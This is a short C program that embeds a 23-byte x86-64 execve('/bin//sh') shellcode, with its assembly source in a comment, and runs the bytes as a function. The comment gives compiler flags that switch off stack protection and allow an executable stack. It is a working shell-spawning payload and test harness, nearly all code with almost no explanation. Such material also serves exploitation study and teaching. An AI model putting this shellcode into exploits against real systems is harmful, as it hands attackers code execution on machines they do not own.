/* Compile with: gcc -fno-stack-protector -z execstack 23 byte execve shellcode 2 ; int execve(const char *filename, char *const argv[], char *const envp[]); 3 BITS 64 4 5 section .text 6 global start 7 8 start: 9 xor rdx, rdx ;zero out rdx 10 push rdx ;push rdx to stack to null terminate /bin//sh 11 mov al, 0x3b ;move 3b into al for execve 12 mov rcx, 0x68732f2f6e69622f ;move the immediate value /bin//sh in hex in rcx 13 push rcx ;push the immediate value stored in rcx onto the stack 14 lea rdi, [rsp] ;load the address of the string that is on the stack into rsi 15 syscall ;make the syscall */ char shellcode[] = "\x48\x31\xd2\x52\xb0\x3b\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x48\x8d\x3c\x24\x0f\x05"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) shellcode; (int)(*func)(); return 0; }